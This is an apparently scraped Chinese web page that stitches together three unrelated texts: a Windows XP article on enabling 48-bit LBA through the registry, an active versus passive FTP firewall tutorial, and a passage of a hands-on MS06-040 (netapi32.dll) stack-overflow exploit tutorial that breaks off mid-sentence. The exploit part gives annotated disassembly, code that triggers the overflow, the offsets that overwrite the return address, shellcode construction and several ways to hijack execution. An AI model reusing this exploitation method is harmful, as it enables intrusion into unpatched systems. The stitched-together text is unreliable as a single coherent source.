本文说明了 Windows XP 对 ATA 数据包接口 (ATAPI) 磁盘驱动器提供的 48 位逻辑块寻址 (LBA) 支持,它可以让硬盘容量超过当前的 137 GB 的限制。

备注:只有在正式发布和安装了 Windows XP Home Edition 或 Windows XP Professional 的 Service Pack 1 (SP1) 之后才会启用 48 位 LBA 支持,因此才会支持 48 位 LBA。在没有安装 SP1 的 Windows XP 中手动启用 48 位 LBA 支持可能会导致数据丢失。

更多信息

Windows XP 包括了对 ATAPI 磁盘驱动器的 48 位 LBA 支持,它可以让硬盘容量超过当前的 137 GB 限制。该类型的支持是一项新技术,Microsoft 仅测试了数目有限的硬盘驱动器。 在默认情况下,Windows XP Home Edition 和 Windows XP Professional 没有启用 48 位 LBA 支持。

必须满足下列要求才可以使用 48 位 LBA ATAPI 支持:

必须具有 48 位 LBA 兼容 BIOS。 必须具有一个容量超过 137 GB 的硬盘。 必须安装了 Windows XP。 对于 Windows XP Home Edition 或 Windows XP Professional,必须通过添加或更改注册表值(在下列注册表中将 EnableBigLba 更改为 1)在注册表中启用该支持:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Atapi\Parameters\

警告:默认情况下,Windows XP Home Edition 和 Professional 不支持 48 位的 LBA ATAPI。用户必须添加前面提及的注册表项以实现这一寻址,这样才能访问前 137GB 以外的磁盘空间。如果磁盘分区中安装了不支持 48 位 LBA 的旧版本 Windows(例如,Windows 2000 或更旧版本),而该分区以前是由可识别 48 位的操作系统(例如,Windows XP,它占用更多空间或超出当前 137GB 的可寻址限制)创建的,则可能出现破坏数据的情况。

备注:如果尚未安装 Service Pack 1,就在 Windows XP 中手动打开 48 位 LBA 支持,则可能丢失数据。

若要在注册表中启用 48 位 LBA 大磁盘支持,请执行下列步骤:

启动”注册表编辑器”(Regedt32.exe)。 在注册表中找到并单击下面的项:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Atapi\Parameters\

在编辑菜单中,单击添加值,然后添加下列注册表值:

值名称:EnableBigLba 数据类型:REG_DWORD 值数据:0x1

退出”注册表编辑器”。

备注:如果试图通过编辑上述注册表设置来启用 48 位 LBA ATAPI 支持,但是没有满足最低要求,您可能会观察到以下现象:

禁用了注册表值 EnableBigLba:

如果具有支持容量超过 137 GB 硬盘的 48 位兼容 BIOS,则只有硬盘的前 137 GB 是可寻址的。不使用硬盘的其余部分。 启用了注册表值 EnableBigLba,但是没有 48 位 LBA 兼容 BIOS,并且硬盘容量没有超过 137 GB:

如果通过编辑注册表设置启用了 48 位 LBA ATAPI 支持,但是缺少 48 位 LBA 兼容 BIOS 和容量超过 137 GB 的硬盘,则您仍没有更改系统。硬盘仍作为标准硬盘工作。 如果启用了注册表值 EnableBigLba,而没有 48 位 LBA 兼容 BIOS,但是具有一个容量超过 137 GB 的硬盘:

如果在注册表中启用了 48 位 ATAPI 支持,并且具有容量超过 137 GB 的硬盘,但是没有 48 位 LBA 兼容 BIOS,则只有硬盘的前 137 GB 是可寻址的。不使用硬盘的其余部分。

目录 开场白 基础 主动FTP 主动FTP的例子 被动FTP 被动FTP的例子 总结 参考资料 附录 1: 配置常见FTP服务器

开场白

处理防火墙和其他网络连接问题时最常见的一个难题是主动FTP与被动FTP的区别以及如何完美地支持它们。幸运地是,本文能够帮助你清除在防火墙环境中如何支持FTP这个问题上的一些混乱。

本文也许不像题目声称的那样是一个权威解释,但我已经听到了很多好的反馈意见,也看到了本文在许多地方被引用,知道了很多人都认为它很有用。虽然我一直在找寻改进的方法,但如果你发现某个地方讲的不够清楚,需要更多的解释,请告诉我!最近的修改是增加了主动FTP和被动FTP会话中命令的例子。这些会话的例子应该对更好地理解问题有所帮助。例子中还提供了非常棒的图例来解释FTP会话过程的步骤。现在,正题开始了…

基础

FTP是仅基于TCP的服务,不支持UDP。 与众不同的是FTP使用2个端口,一个数据端口和一个命令端口(也可叫做控制端口)。通常来说这两个端口是21-命令端口和20-数据端口。但当我们发现根据(FTP工作)方式的不同数据端口并不总是20时,混乱产生了。

主动FTP

主动方式的FTP是这样的:客户端从一个任意的非特权端口N(N>;1024)连接到FTP服务器的命令端口,也就是21端口。然后客户端开始监听端口N+1,并发送FTP命令“port N+1”到FTP服务器。接着服务器会从它自己的数据端口(20)连接到客户端指定的数据端口(N+1)。

针对FTP服务器前面的防火墙来说,必须允许以下通讯才能支持主动方式FTP:

任何端口到FTP服务器的21端口 (客户端初始化的连接 S<-C) FTP服务器的21端口到大于1023的端口(服务器响应客户端的控制端口 S->C) FTP服务器的20端口到大于1023的端口(服务器端初始化数据连接到客户端的数据端口 S->C) 大于1023端口到FTP服务器的20端口(客户端发送ACK响应到服务器的数据端口 S<-C)

画出来的话,连接过程大概是下图的样子:

在第1步中,客户端的命令端口与FTP服务器的命令端口建立连接,并发送命令“PORT 1027”。然后在第2步中,FTP服务器给客户端的命令端口返回一个”ACK”。在第3步中,FTP服务器发起一个从它自己的数据端口(20)到客户端先前指定的数据端口(1027)的连接,最后客户端在第4步中给服务器端返回一个”ACK”。

主动方式FTP的主要问题实际上在于客户端。FTP的客户端并没有实际建立一个到服务器数据端口的连接,它只是简单的告诉服务器自己监听的端口号,服务器再回来连接客户端这个指定的端口。对于客户端的防火墙来说,这是从外部系统建立到内部客户端的连接,这是通常会被阻塞的。

主动FTP的例子

下面是一个主动FTP会话的实际例子。当然服务器名、IP地址和用户名都做了改动。在这个例子中,FTP会话从 testbox1.slacksite.com (192.168.150.80),一个运行标准的FTP命令行客户端的Linux工作站,发起到testbox2.slacksite.com (192.168.150.90),一个运行ProFTPd 1.2.2RC2的Linux工作站。debugging(-d)选项用来在FTP客户端显示连接的详细过程。红色的文字是 debugging信息,显示的是发送到服务器的实际FTP命令和所产生的回应信息。服务器的输出信息用黑色字表示,用户的输入信息用粗体字表示。

仔细考虑这个对话过程我们会发现一些有趣的事情。我们可以看到当 PORT 命令被提交时,它指定了客户端(192.168.150.80)上的一个端口而不是服务器的。当我们用被动FTP时我们会看到相反的现象。我们再来关注PORT命令的格式。就象你在下面的例子看到的一样,它是一个由六个被逗号隔开的数字组成的序列。前四个表示IP地址,后两个组成了用于数据连接的端口号。用第五个数乘以256再加上第六个数就得到了实际的端口号。下面例子中端口号就是( (14*256) + 178) = 3762。我们可以用netstat来验证这个端口信息。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 Connected to testbox2.slacksite.com. 220 testbox2.slacksite.com FTP server ready. Name (testbox2:slacker): slacker —> USER slacker 331 Password required for slacker. Password: TmpPass —> PASS XXXX 230 User slacker logged in. —> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ftp: setsockopt (ignored): Permission denied —> PORT 192,168,150,80,14,178 200 PORT command successful. —> LIST 150 Opening ASCII mode data connection for file list. drwx—— 3 slacker users 104 Jul 27 01:45 public_html 226 Transfer complete. ftp> quit —> QUIT 221 Goodbye.

被动FTP

为了解决服务器发起到客户的连接的问题,人们开发了一种不同的FTP连接方式。这就是所谓的被动方式,或者叫做PASV,当客户端通知服务器它处于被动模式时才启用。

在被动方式FTP中,命令连接和数据连接都由客户端,这样就可以解决从服务器到客户端的数据端口的入方向连接被防火墙过滤掉的问题。当开启一个FTP连接时,客户端打开两个任意的非特权本地端口(N >; 1024和N+1)。第一个端口连接服务器的21端口,但与主动方式的FTP不同,客户端不会提交PORT命令并允许服务器来回连它的数据端口,而是提交PASV命令。这样做的结果是服务器会开启一个任意的非特权端口(P >; 1024),并发送PORT P命令给客户端。然后客户端发起从本地端口N+1到服务器的端口P的连接用来传送数据。

对于服务器端的防火墙来说,必须允许下面的通讯才能支持被动方式的FTP:

从任何端口到服务器的21端口 (客户端初始化的连接 S<-C) 服务器的21端口到任何大于1023的端口 (服务器响应到客户端的控制端口的连接 S->C) 从任何端口到服务器的大于1023端口 (入;客户端初始化数据连接到服务器指定的任意端口 S<-C) 服务器的大于1023端口到远程的大于1023的端口(出;服务器发送ACK响应和数据到客户端的数据端口 S->C)

画出来的话,被动方式的FTP连接过程大概是下图的样子:

在第1步中,客户端的命令端口与服务器的命令端口建立连接,并发送命令“PASV”。然后在第2步中,服务器返回命令”PORT 2024”,告诉客户端(服务器)用哪个端口侦听数据连接。在第3步中,客户端初始化一个从自己的数据端口到服务器端指定的数据端口的数据连接。最后服务器在第4 步中给客户端的数据端口返回一个”ACK”响应。

被动方式的FTP解决了客户端的许多问题,但同时给服务器端带来了更多的问题。最大的问题是需要允许从任意远程终端到服务器高位端口的连接。幸运的是,许多FTP守护程序,包括流行的WU-FTPD允许管理员指定FTP服务器使用的端口范围。详细内容参看附录1。

第二个问题是客户端有的支持被动模式,有的不支持被动模式,必须考虑如何能支持这些客户端,以及为他们提供解决办法。例如,Solaris提供的FTP命令行工具就不支持被动模式,需要第三方的FTP客户端,比如ncftp。

随着WWW的广泛流行,许多人习惯用web浏览器作为FTP客户端。大多数浏览器只在访问ftp://这样的URL时才支持被动模式。这到底是好还是坏取决于服务器和防火墙的配置。

被动FTP的例子

下面是一个被动FTP会话的实际例子,只是服务器名、IP地址和用户名都做了改动。在这个例子中,FTP会话从 testbox1.slacksite.com (192.168.150.80),一个运行标准的FTP命令行客户端的Linux工作站,发起到testbox2.slacksite.com (192.168.150.90),一个运行ProFTPd 1.2.2RC2的Linux工作站。debugging(-d)选项用来在FTP客户端显示连接的详细过程。红色的文字是 debugging信息,显示的是发送到服务器的实际FTP命令和所产生的回应信息。服务器的输出信息用黑色字表示,用户的输入信息用粗体字表示。

注意此例中的PORT命令与主动FTP例子的不同。这里,我们看到是服务器(192.168.150.90)而不是客户端的一个端口被打开了。可以跟上面的主动FTP例子中的PORT命令格式对比一下。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 Connected to testbox2.slacksite.com. 220 testbox2.slacksite.com FTP server ready. Name (testbox2:slacker): slacker —> USER slacker 331 Password required for slacker. Password: TmpPass —> PASS XXXX 230 User slacker logged in. —> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> passive Passive mode on. ftp> ls ftp: setsockopt (ignored): Permission denied —> PASV 227 Entering Passive Mode (192,168,150,90,195,149). —> LIST 150 Opening ASCII mode data connection for file list drwx—— 3 slacker users 104 Jul 27 01:45 public_html 226 Transfer complete. ftp>; quit —> QUIT 221 Goodbye.

总结

下面的图表会帮助管理员们记住每种FTP方式是怎样工作的:

主动FTP: 命令连接:客户端 >1023端口 -> 服务器 21端口 数据连接:客户端 >1023端口 <- 服务器 20端口

被动FTP: 命令连接:客户端 >1023端口 -> 服务器 21端口 数据连接:客户端 >1023端口 -> 服务器 >1023端口

下面是主动与被动FTP优缺点的简要总结:

主动FTP对FTP服务器的管理有利,但对客户端的管理不利。因为FTP服务器企图与客户端的高位随机端口建立连接,而这个端口很有可能被客户端的防火墙阻塞掉。被动FTP对FTP客户端的管理有利,但对服务器端的管理不利。因为客户端要与服务器端建立两个连接,其中一个连到一个高位随机端口,而这个端口很有可能被服务器端的防火墙阻塞掉。

幸运的是,有折衷的办法。既然FTP服务器的管理员需要他们的服务器有最多的客户连接,那么必须得支持被动FTP。我们可以通过为FTP服务器指定一个有限的端口范围来减小服务器高位端口的暴露。这样,不在这个范围的任何端口会被服务器的防火墙阻塞。虽然这没有消除所有针对服务器的危险,但它大大减少了危险。详细信息参看附录1。

参考资料

O’Reilly出版的《组建Internet防火墙》(第二版,Brent Chapman,Elizabeth Zwicky著)是一本很不错的参考资料。里面讲述了各种Internet协议如何工作,以及有关防火墙的例子。

最权威的FTP参考资料是RFC 959,它是FTP协议的官方规范。RFC的资料可以从许多网站上下载,例如:ftp://nic.merit.edu/documents/rfc/rfc0959.txt

深入浅出MS06-040

时至今日,网上已有颇多MS06-040的文章,其中不乏精辟之作。与其相比,本文突显业余,技术上无法超越,徒逞口舌之快。本文适合有一定计算机基础,初步了解溢出攻击原理,稍微了解逆向技术的朋友阅读。如果您根据本文的指导亲手完成了全部的7节实验内容,相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。实验中涉及的所有细节均可重现,使用的源代码都已经过详细的注释附于附录之中。 好了,现在让我们立刻去体会把“Impossible”变成“I’m possible”的那一撇是怎么画进WINDOWS里的吧。

1 浅出篇

——欲善其事,先利其器 思考许久,为了让更多的人能够享受到实验的乐趣,我还是决定用一些篇幅来介绍几个在本章的实验中涉及到的逆向工具。没有工具的hacker如同没有枪的战士,欲善其事,先利其器! 1.1 逆向,永恒的主题 微软POST出的漏洞信息是没有技术细节的,一般都是几句简短的类似“XXXX可能存在允许远程代码执行的漏洞”之类的话。光靠这些是没有办法利用,渗透,入侵,控制的。详细技术资料很难搜到,因为那都是安全专家和hacker们辛苦的研究成果,当然今天讨论的MS06-040除外。要想第一时间研究和利用漏洞,你需要查出漏洞对应的补丁号,追查这个补丁patch了哪几个系统文件的哪几个部分,然后进行逆向分析。 MS06-040指的是windows系统的DLL文件netapi32.dll中的几个导出函数在字符串复制时有边界检查的缺陷。本文的实验和分析都基于WIN2000 SP4版本的操作系统,它也是这个漏洞危害最严重的操作系统版本。 在WIN2000 SP4中,Netapi32.dll位于系统目录c:\winnt\system32下,大小为309008字节。如果你的系统已经打过补丁,则该文件会被补丁替换,大小为309520字节,原先的漏洞DLL会备份到系统目录下的c:\winnt\$NtUninstallKB921883$ 里(我为您在本文的附加资料中提供了这个DLL)。Netapi32.dll中几个有溢出问题的函数,本文实验以目前讨论最多的NetpwPathCanonicalize()函数的溢出为例进行阐述。 Netapi32.dll库中第303个导出函数NetpwPathCanonicalize()用于格式化网络路径字符串, 它需要6个参数: 参数1:指向一个UNICODE字串的指针,用于生成路径字串的第二个部分 参数2:指向一个buffer的指针,用于接收格式化后的路径字串 参数3:指向一个数字的指针,标明参数2所指buffer的大小 参数4:指向一个UNICODE字串的指针,用于生成路径字串的第一个部分 参数5:指针,在漏洞利用中不起作用 参数6:标志位,必需为0 这个函数大体功能是把参数4所指的字串(以后简称4号串)连接上’/’作为路径分割,再连上参数1所指字串(后简称1号串),并将生成的这个新串拷回参数2所指的buffer,也就是返回给2号buffer如下形式的字串: 4号串 + ‘/’ + 1号串 该函数在格式化字符串时的函数调用CanonicalizePathName()使用WCSCPY()进行字符串拷贝时,边界检查有缺陷,可以被构造栈溢出。 NetpwPathCanonicalize()函数的细节资料是很难找到的,MSDN上没有任何介绍,甚至在GOOGLE上也只是在srvsvc的接口定义文件IDL里看到了函数声明。在这种情况下要利用这个函数只有靠自己逆向分析了。上面这些说明就是我用IDA把它反汇编后分析、总结出来的,在本小节中提前摆出来是为了让您在阅读后面这节的汇编代码时提前有一个全局观。 一定要坚信,求人不如靠自己。不管你是cracker还是hacker,不管你做外挂、做脱壳、做病毒分析、还是做exploit的开发人员,要获得第一手资料都离不开逆向技术。就算微软公布源码,逆向技术仍然是安全领域里永恒不变的主题。 1.2 IDA,迷宫的地图 在大体了解了漏洞的位置之后,我们需要进行调试,需要获得具体的栈空间信息以及漏洞被触发时的寄存器信息。进入一个PE文件就好像置身一个错综复杂的迷宫,光靠动态调试器的分析是远远不够的。IDA强大的静态分析和标注功能则是这个迷宫的地图,他能为你的调试导航。 下面我们就用IDA来看看这个神秘的NetpwPathCanonicalize()函数到底干什么用的。安装好了后,把我们的问题DLL直接丢进IDA,忽悠忽悠几下,它就分析出结构明确质量上乘的汇编代码了。这里要庆幸的是我们研究的是微软的系统API文件,用C语言编写并且没有任何加壳之类的保护,所以得到的结果如此优美,几乎所有的函数都自动标注好了。 我们直接去Exports窗口在最后几行找到我们需要分析的NetpwPathCanonicalize,双击就跳到了这个导出函数对应的代码部分,按下空格键汇编代码将以流程图的形式显示出来,给阅读者一个全局的把握。 指南针介绍到此为止,后面的分析就要靠人肉了。这个函数并不复杂,可以看到生成新串的过程实际是在CanonicalizePathName()内完成(.text:7517F856 call sub_7517FC68)。这个函数使用局部变量,在栈内开空间暂存新串,这块空间可被溢出。 具体说来,NetpwPathCanonicalize()在调用CanonicalizePathName()前的动作包括: 1.判断第6个参数是否为0,不为0则退出 2.判断第5个参数所指值是否为0,为0则进行一次NetpwPathType的验证调用 3.判断第4个参数所指值是否为0,若不为0则将所指字串放入NetpwPathType进行验证。 4.在这次验证中,如果4号串unicode长度超过0x103(字节长度为0x206),则返回0x7B (ERROR_INVALID_NAME),引起程序退出 5.验证接收buffer的大小是否为0,否则退出 6.调用CanonicalizePathName()函数 …… CanonicalizePathName()为实际发生溢出的函数,用IDA重点看一下这个函数: ============================ S U B R O U T I N E ============================= 7517FC68 int __stdcall sub_ CanonicalizePathName (wchar_t *,wchar_t *,wchar_t *,int,int) 7517FC68 push ebp 7517FC69 mov ebp, esp 7517FC6B sub esp, 414h //开辟栈内空间,用于暂存生成的字符串 7517FC71 push ebx 7517FC72 push esi 7517FC73 xor esi, esi 7517FC75 push edi 7517FC76 cmp [ebp+arg_0], esi //判断4号串地址是否为空 7517FC79 mov edi, ds:__imp_wcslen 7517FC7F mov ebx, 411h 7517FC84 jz short loc_7517FCED 7517FC86 push [ebp+arg_0] //压入4号串 7517FC89 call edi ; __imp_wcslen //计算4号串的unicode长度,注意为字节长度的一 //半,这是导致边界检查被突破的根本原因,即 //用UNICODE检查边界,而栈空间是按字节开的 7517FC8B mov esi, eax 7517FC8D pop ecx 7517FC8E test esi, esi 7517FC90 jz short loc_7517FCF4 7517FC92 cmp esi, ebx 7517FC94 ja loc_7517FD3E //若越界则退出程序 7517FC9A push [ebp+arg_0] //4号串地址 7517FC9D lea eax, [ebp+var_414] //栈中暂存串起址 7517FCA3 push eax 7517FCA4 call ds:__imp_wcscpy //将4号串拷入栈中暂存串。虽然前面的边界 //检查有缺陷,似乎实际可以传入的4号串可以达 //到0x822字节,但是4号串在传入本函数前被 //NetpwPathType()提前检查过,按照前面的分析 //知道,四号串的长度不能超过0x206字节,所以 //光靠这里的检查缺陷还不足以通过4号串制造溢 //出 7517FCAA mov ax, [ebp+esi*2+var_416] //取出此刻暂存串(4号串)的最后两个字节,检 //查是否是斜杠 7517FCB2 pop ecx 7517FCB3 cmp ax, 5Ch //0x5C=92=ASCII(\) 7517FCB7 pop ecx 7517FCB8 jz short loc_7517FCD5 7517FCBA cmp ax, 2Fh //0x2F=47=ASCII(/) 7517FCBE jz short loc_7517FCD5 7517FCC0 lea eax, [ebp+var_414] 7517FCC6 push offset asc_751717B8 //压入斜杠的unicode 7517FCCB push eax 7517FCCC call ds:__imp_wcscat //把斜杠的unicode连接到栈中暂存串的末尾 7517FCD2 pop ecx 7517FCD3 inc esi //把斜杠的长度计入暂存串 7517FCD4 pop ecx 7517FCD5 mov eax, [ebp+arg_4] //取出1号串,类似的检查1号串的首字符是否是 //斜杠或反斜杠 7517FCD8 mov ax, [eax] 7517FCDB cmp ax, 5Ch 7517FCDF jz short loc_7517FCE7 7517FCE1 cmp ax, 2Fh 7517FCE5 jnz short loc_7517FCF4 7517FCE7 add [ebp+arg_4], 2 7517FCEB jmp short loc_7517FCF4 7517FCED mov [ebp+var_414], si 7517FCF4 push [ebp+arg_4] //1号串地址 7517FCF7 call edi ; __imp_wcslen 7517FCF9 add eax, esi //计算4号串长+斜杠长度+1号串长的大小 7517FCFB pop ecx 7517FCFC cmp eax, ebx 7517FCFE ja short loc_7517FD3E //第二次边界检查。从前面分析可以知道,只靠4号 //串是无法制造溢出的,但是1号串的传入没有任何限 //制,所以可以通过增加1号串的串长来溢出。栈 //空间为0x414,我们实际可传入的串总长可以达到 //0x828滴 7517FD00 push [ebp+arg_4] //1号串 7517FD03 lea eax, [ebp+var_414] 7517FD09 push eax 7517FD0A call ds:__imp_wcscat //将1号串连入栈中暂存串,生成最终的路径字串,这个 //调用导致了最终的栈溢出 7517FD10 pop ecx ………… 7517FD66 lea eax, [ebp+var_414] 7517FD6C push eax 7517FD6D push [ebp+arg_8] 7517FD70 call ds:__imp_wcscpy //将栈中的结果传回第二个参数所指的buffer 7517FD76 pop ecx 7517FD77 xor eax, eax 7517FD79 pop ecx 7517FD7A pop edi 7517FD7B pop esi 7517FD7C pop ebx 7517FD7D leave 7517FD7E retn 14h ========================= S U B R O U T I N E ============================== 代码1:netapi32.dll反汇编代码片断,完整代码可由附件中的DLL文件反汇编得到 如注释中所述,两次对栈中暂存串边界的限制都是unicode长度不能超过0x411,换算成字节长度就是0x822,而栈空间的大小是按字节开的0x414,这是边界检查失败的根本所在。 另外,4号串由于必须通过NetpwPathType()的验证才能传入CanonicalizePathName(),所以串长不能超过0x206字节,但是经过wcscat()没有长度限制的1号串之后,就可以成功的制造一个栈溢出了。 1.3 OLLYDBG,庖丁解牛 经过IDA的静态分析,下面我们来尝试一下动态调试这个函数,并触发这个溢出。首先要做的是load这个动态链接库,然后定位到NetpwPathCanonicalize()函数的地址,接着就可以调用这个漏洞函数了。 本地的溢出实验不一定非要找台有漏洞的机器。如果你的机器不是WIN2000 SP4或者是打过补丁的机器,去哪里找这个库文件前面已经说过了。 比如用下面这种形式调用: ========================================================================== #include #include typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; char dllbuf[40] = “./netapi32.dll”; char Trigger[40] = “NetpwPathCanonicalize”; ……//function arg define LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger); ……//function arg init (ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0); FreeLibrary(LibHandle); } 代码2 :DLL挂载,完整的代码位于附件local_exploit_040.c中 上述代码就是我们本地溢出实验代码的框架。你可以先按照前边分析的结果对参数随意的赋几个值试试。在我调试的过程中,VC编译后,如果函数参数传入“正确”,在执行时XP总会报check esp erro,不知道是不是我哪个参数没用对,但在远程溢出的RPC调用中是能够正常执行的。 下面来调试一下这个BIN,用OLLYDBG去把netapi32.dll执行的细节搞清楚。朋友们,你们准备好领略庖丁解牛的感觉了吗? 用VC编译链接生成BIN运行是会出错的,不要紧,我们用OLLYDBG打开可执行文件。默认的加载方式会在程序的入口地方停下。我们调试的可执行文件应该是VC生成的debug版本,所以应该停在PE的加载区,注意这里可不是我们的main()函数哦。 如果你有耐性的下,不妨按F8单步下去,顺便了解一下WINDOWS加载PE的过程,看看在main()之前都干了点什么。 如图1,离入口不远处,会有GetCommandLineA的调用,后面会有三个对EDX、ECX、EAX的push操作,这是在为main()函数传递参数。之后的那个call就是我们的main()了。当F8单步到这个call,你需要F7单步进入main()函数。 进入main()之后你会看到OLLDBG已经为我们识别出标准的系统API调用并自动做了注释。像C代码里写的那样,这里依次调用了LoadLibarayA、GetProcessAddress、memset等之后连续进行六次push又调了一个函数,这个对应的就是(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0)的汇编形式了。函数调用的参数入栈顺序是从右向左,所以第一个压的是0。如果你第一次动态调试的话,不妨看看栈里压入参数的值,在到对应的内存位置去看看内存里的内容,自我感觉这样的调试是理解计算机系统底层最直接,最有效的方式。 CPU执行到这个call以后,我们同样用F7进入这个函数,可以看到代码区从0x004xxxxx切换到了0x7xxxxxxx,也就是说这时程序从我们的可执行文件的代码区跳到了netapi32.dll中NetpwPathCanonicalize函数的代码部分。

本地溢出之main()函数入口 继续单步执行,观察寄存器的值,观察每一个跳转的执行,结合上一节中你用IDA的分析,验证下当时自己对程序流程的掌握是否正确。 NetpwPathCanonicalize中在两次对NetpwPathType的调用后,那个连续压了5个参数的函数调用就是漏洞的根源,CanonicalizePathName()函数,这里当然要进入仔细观察了。 连续跟踪几次之后,相信您对NetpwPathCanonicalize和CanonicalizePathName里的程序流程已经比较熟悉了,对上一节中静态分析的结果也有了新的认识。好,现在我们稍微回忆下已有的知识,设计一下怎样制造溢出。 根据前边分析的结果,如果我们这样来初始化传入的字串: 4号串 -> 0x12 byte 赋为字符’4’ 程序添加的路径分割 -> 0x2 byte Unicode(/) 0x5c00 1号串填充物 -> 0x400 byte 赋为字符’1’ 那么这414个字节刚好撑满CanonicalizePathName()函数为自己开的栈空间,1号串往后的四个字节是EBP,再紧接着就是返回地址,也就是说1号串第0x404~0x407的内容是函数返回后EIP的内容! 我们给1号串0x400~0x407位置赋为字符’q’,用OLLDBG看看栈中的情况和我们分析的一样不。CanonicalizePathName在返回时寄存器状态如图2

函数返回前的溢出情况 在函数返回前,EBP的地址为0x0012F21C,其内容已经被我们的填充字符准确覆盖为0x71717171(0x37为‘q’的ASCII),后面的函数返回地址也按照我们预想的被覆盖为0x71717171。返回后EIP将指向0x71717171,我们已经可以控制函数返回时CPU的取址位置了! 稍微总结一下,通过动态跟踪,确认了我们静态分析的结果,了解到栈状态和寄存器状态的细节后,我们就可以通过在传入的字符串的特定位置准确的更改函数返回地址,让CanonicalizePathName在返回的时候跳到一个我们指定的地方去接着执行指令——如果那个地方放着我们可爱的shellcode的话…… 1.4 shellcode DIY 一般利用字符串函数溢出的shellcode要求不能有0出现,在这个实验中我们利用的是unicode的字符复制函数,字符串结尾是两个字节的0,所以这条限制会放宽一点——shellcode中不能出现连续的两个字节的0。 了解到这些基本要求后,我们开始我们自己的shellcode DIY吧。 这个shellcode的功能是弹出一个MessageBox并显示“failwest”。 ========================================================================== #include #include int main() { HINSTANCE LibHandle; char dllbuf[11] = “user32.dll”; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp,0x440 xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6C696166//push failwest mov eax,esp //load address of failwest push ebx push eax push eax push ebx mov eax,0x77D504EA // address should be reset in different OS call eax //call MessageboxA push 0 mov eax,0x7C81CDDA call eax //call exit(0) } } 代码3: shellcode_box.c 为什么要开0x440那么大的栈空间呢,我们根本用不了这么多空间呀?这个问题先卖个关子,我们后面讨论shellcode布置的时候在来回答。 注意MessageBoxA()的入口地址0x77D504EA和exit()函数的入口地址0x7C81CDDA 根据不同的机器、不同的操作系统和不同的补丁情况,可能会不同。自己在调试的时候需要查看一下本机的具体地址,要远程溢出的话当然还要查查目标主机的库信息。最简单的就是用VC提供的Tools里的depends工具查看一下。比如在我实验的系统中打开depends,随便丢个BIN进去看下user32.dll和kernel32.dll的加载情况:

shellcode中函数地址的计算 这里user32.dll的加载基址是0x77D10000,MessageBoxA在其内的offeset是0x000404EA,那么它在内存中的RVA地址应该是这两者之和0x77D504EA,类似的也可以计算出kernel32.dll中exit()的RVA。 用VC把这段程序编译链接运行测试,看到框框跳出来之后,我们可以用IDA之类的工具提取出编译过后的机器码。我这里用的是ultraedit,按照16进制形式打开可执行文件,直接查找我们代码中调用MessageBoxA的地址:EA04D577定位到编译后的机器码(注意内存中word字节的反序关系),当然如果你熟悉PE格式的话直接ctr+g跳到0x1000的代码段里去找代码也行。 找到后对着这一堆机器码我们怎么知道哪里是开始哪里是结束呢?难道去查intel的指令集吗?这里教一个我个人用的土办法:一般在shellcode汇编代码的开头和结尾我都会加上几十个NOP指令,到了机器码里,两大段0x90字节之间的那部分自然就是shellcode了。 如图4,在ultraedit里选中我们的shellcode按16进制复制出来,把格式整理下就得到我们自己制作的shellcode了。

提取shellcode 有了淹没返回地址的偏移,有了自己制作的shellcode,接下来要做的就是怎么在内存中组织这些内容了,这也是栈溢出最精华的地方。 后面的玩法应该有很多,比如: 玩法A:搜寻jump esp,在esp后面布置shellcode 玩法B:搜寻jump ebp, 在ebp的位置填入一个比较准确的shellcode地址 玩法C:另类玩法,利用其他寄存器,SEH利用等

函数返回后的溢出情况 应当注意的是,如果采用玩法A,在代码中我们看到函数退出前的字串WSCPY()的目的地址存在EBP+10的地方,而返回指令是retn 14h,也就是说返回后ESP在EBP+14的地方,在ESP处写shellcode意味着WSCPY()的目的buf地址也被覆盖。 在前边动态调试的例子中,返回后的状态如图5所示:EBP为0012F21C;ESP为0012F238;那个WSCPY()的目的地址就在EBP+10=0012F22C的地方,恰好位于返回地址和ESP之间。这下清楚了,欲淹ESP,必先淹了目的拷贝地址。 若没有注意这里,毛手毛脚的直接淹到ESP,WSCPY()函数的目的地址被覆盖成无效内存地址,在到达函数返回之前就会引起内存访问错误,没办法把程序流程转移到shellcode中。当然这种情况也是可以利用的,比如在淹没串中填写一个有效的地址,将大段字串copy到内存中一个指定的地方。这时shellcode在内存中有两个copy可以应用,一个是栈中刚释放出来的这部分内容,另一部分是刚刚拷到目的地址的内容。我们可以在jmp esp之后跳到栈区也可以直接去那块新写入shellcode的区域执行,这感觉有点堆溢出的意思了。 我在尝试这种方法的时候发现不是很稳定,因为:首先是地址不能随便选,写到不可读的地方会崩掉;其次内存中冒冒然写上这么大一堆东西,很容易冲掉有用的数据引起后面一些不确定的后果;最后写入的地方很可能在执行别的函数的过程中被重写,导致shellcode被破坏。不过这里是在做溢出实验,不是在开发软件,稳定的事先放一放吧,我最终还是实现了方案A.。 再来看方案B,大概是采用这么一种布置形式: (内存低址)栈顶——-nnnnnnnnnnnnnnnnnssssssssssssssnn(ebp)(ret)——栈底(内存高址) 只要在ret的地方填入进程空间里搜索到的jump ebp指令地址,在ebp的位置填入相对比较准确的shellcode地址就行(落入nop区域)。 这种方案在本地溢出中的实现比方案A难度略低,唯一一个导致不稳定的因素就是在EBP里边填的地址要落在我们的shellcode前填充的NOP区域里。在本地溢出中这点是比较容易实现的。当我在远程溢出中实践这种方案的时候,发现栈状态是动态的,栈的变化范围远大于NOP填充的几百个字节。这样的溢出好比买六合彩撞大运,EBP里的地址要打到shellcode上才能成功。所以方案B只有在本地溢出中可行,有教学意义但没有实战意义。 后面的例子我使用的是方案C。因为在调试过程中我发现程序为了保证堆栈平衡,执行了若干次pop ecx,而在函数返回前,ecx的内容恰巧被写成了栈中暂存串的起址。于是我们在返回地址中填写一个netapi32.dll进程空间内的call 